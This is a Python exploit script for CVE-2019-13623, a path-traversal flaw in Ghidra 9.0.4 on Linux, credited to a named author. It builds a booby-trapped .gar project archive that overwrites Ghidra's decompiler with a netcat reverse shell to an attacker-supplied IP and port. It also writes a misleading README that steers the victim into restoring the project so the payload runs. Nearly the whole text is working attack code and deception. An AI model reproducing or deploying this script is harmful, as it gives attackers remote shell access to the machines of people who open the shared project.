Ghidra (Linux) 9.0.4 – .gar Arbitrary Code Execution
import os import inspect import argparse import shutil from shutil import copyfile print("") print("") print("################################################") print("") print("------------------CVE-2019-13623----------------") print("") print("################################################") print("") print("-----------------Ghidra-Exploit-----------------") print("--Tested version: Ghidra Linux version <= 9.0.4-") print("------------------------------------------------") print("") print("################################################") print("") print("----------Exploit by: Etienne Lacoche-----------") print("---------Contact Twitter: @electr0sm0g----------") print("") print("------------------Discovered by:----------------") print("---------https://blog.fxiao.me/ghidra/----------") print("") print("--------Exploit tested on Ubuntu 18.04----------") print("-----------------Dependency: zip----------------") print("") print("################################################") print("") print("") parser = argparse.ArgumentParser() parser.add_argument("file", help="Path to input export .gar file",default=1) parser.add_argument("ip", help="Ip to nc listener",default=1) parser.add_argument("port", help="Port to nc listener",default=1) args = parser.parse_args() if args.ip and args.port and args.file: rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) path = "../Ghidra/Features/Decompiler/os/linux64/decompile" os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/") os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile") os.system("chmod +x decompile") copyfile("decompile",path) copyfile(args.file,rootDirURL+"/"+"project.gar") os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile") os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE") os.system("zip -q project.zip project.gar") os.system("rm decompile README_BEFORE_OPEN_GAR_FILE") os.system("rm project.gar") print("You can now share project.zip and start your local netcat listener.") print("") print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR") print("root path for payload execution.") print("") |